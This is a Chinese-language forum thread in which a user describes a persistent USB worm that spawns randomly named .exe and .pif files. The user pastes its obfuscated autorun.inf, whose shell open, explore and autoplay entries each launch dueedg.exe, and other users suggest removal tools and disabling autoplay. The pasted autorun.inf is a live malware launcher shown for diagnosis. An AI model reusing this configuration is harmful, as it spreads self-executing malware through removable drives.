是不是autorun病毒呢

alongzhenggang · 发表于 2021-8-4 16:22

本帖最后由 alongzhenggang 于 2021-8-5 19:29 编辑

以下代码是autorun.inf的内容
会生成随机名+.exe/.pif文件

常规手段包括各种杀软和PE下的急救箱
重装其他系统

主要是想找到源头 生成的文件能搞定

全盘格式化的就不用讲啦能行也不会发帖啦
只要不乱动电脑的文件也是可以和平共处的啦就是会删文件头大

[Asm] 纯文本查看 复制代码

[AutoRun]

;JjipeomBbtCNrbP

shELL\oPeN\defauLt=1



;dFqIRbawaNHe

SHElL\explore\CoMMaNd =dueedg.exe



;

OPeN =dueedg.exe

;bqjQefshpTqyJjya skuvVmCfcCmnboviqkbhfsmVeR

shELl\opeN\commAnd =dueedg.exe

;yXdfjJesJbm AKsGRfjnGLkIPFlvooPbKbeeoMqcPAqevX

shell\autoplay\CoMmand = dueedg.exe

用毒霸专杀说是什么币病毒
来源现在不确定是哪个来的
在网上找了个老毛子的精简win7
就开始有这些了
或许之前也有  是别人的机子

然后各种折腾不行
貌似是劫持了系统服务啥的

杀毒一晚上U盘里16G的自动生成 2000多  512G 的4000多  个

名字随机  后缀为pif  exe

删除要权限自动生成

用搜索软件搜几次  同名的 autorun  搜素程序突然就没了
然后用rar压缩打包几次  rar主文件没了
还会分辨是不是U盘  插移动硬盘把隐藏文件打开看到生成右自动删除了
卡饭论坛的  几个推荐杀毒包括数字和管家  都睡了一样  没啥反应
隐藏文件打开一会又自动关闭

alongzhenggang · 发表于 2021-8-5 15:57

本帖最后由 alongzhenggang 于 2021-8-5 16:54 编辑

常规手段无效  即各种杀毒都处于无反应状态    对自用的文件杀的很干净  还会自杀数字杀数字  管家杀数字  微点卡巴A 打头的杀软  其八款杀软

而且、系统重装也是如此    不确定现在来源是老毛子win7还是啥

且在pe  杀毒过程中会一直生成文件到U盘

移动硬盘会生成确认不是U盘自动删除

用别的软件去处理几次  会删文件

如搜索和压缩软件主程序都被删了

PE下boot分区也会生成

生成的文件我删的掉  主要是病毒源找不到

alongzhenggang · 发表于 2021-8-15 01:27

落华无痕发表于 2021-8-6 10:42
下载kvrt，在PE里解压打开扫描：https://free.lanzoui.com/iO7oUsaguuj

嗯第二台机子开始了症状一样  你提供和的这个只扫描根目录这些生成的文件60和管家也会杀只是不怎么积极

当然这些手工也能删

在系统内有些删不掉  解锁暴力删除会蓝屏

pe下删就行

现在变异了  会给自己加个壳  具体表现为  管家杀掉隔离删除---自己蹦达出来---关闭显示隐藏----在生成一个同样的同名文件-----披上隔离的马甲鼠标放上去提示双击恢复  ----原生成文件一会消失一会出现

wslans · 发表于 2021-8-4 16:58

是不是病毒，就要看dueedg.exe这个文件了，不过基本差不离了

JuncoJet · 发表于 2021-8-4 17:03

禁用自动播放就好了，没辣么严重
https://jingyan.baidu.com/article/6fb756ecf7c2bc641858fbde.html

klxn0-0 · 发表于 2021-8-4 17:14

火绒专杀试试https://bbs.huorong.cn/thread-18575-1-1.html

alongzhenggang · 发表于 2021-8-4 17:19

wslans 发表于 2021-8-4 16:58
是不是病毒，就要看dueedg.exe这个文件了，不过基本差不离了

使用时不影响本来机子也不干净杀软是不装的用的文件全干掉了病毒一点反应没有主要是这个会U盘无限增生会删除文件

alongzhenggang · 发表于 2021-8-4 17:20

JuncoJet 发表于 2021-8-4 17:03
禁用自动播放就好了，没辣么严重
https://jingyan.baidu.com/article/6fb756ecf7c2bc641858fbde.html

谢谢没那么简单虽然我不是很懂但是能想的法子我都试过了

alongzhenggang · 发表于 2021-8-4 17:22

klxn0-0 发表于 2021-8-4 17:14
火绒专杀试试https://bbs.huorong.cn/thread-18575-1-1.html

谢谢 comss 我也有 Linux我玩不来

alongzhenggang · 发表于 2021-8-4 17:29

JuncoJet 发表于 2021-8-4 17:03
禁用自动播放就好了，没辣么严重
https://jingyan.baidu.com/article/6fb756ecf7c2bc641858fbde.html

主要是会删除文件会不会上传文件我看不到

落华无痕 · 发表于 2021-8-4 21:25

微PE工具箱下，用everything搜索病毒文件名，按大小排列，找到病毒大小的文件，通过shift选中开头结尾，删除即可。

alongzhenggang · 发表于 2021-8-5 15:52

落华无痕发表于 2021-8-4 21:25
微PE工具箱下，用everything搜索病毒文件名，按大小排列，找到病毒大小的文件，通过shift选中开头结尾，删 ...

生成的文件好说病毒源找不到

帐号		自动登录	找回密码
密码			注册[Register]

是不是autorun病毒 呢

是不是autorun病毒呢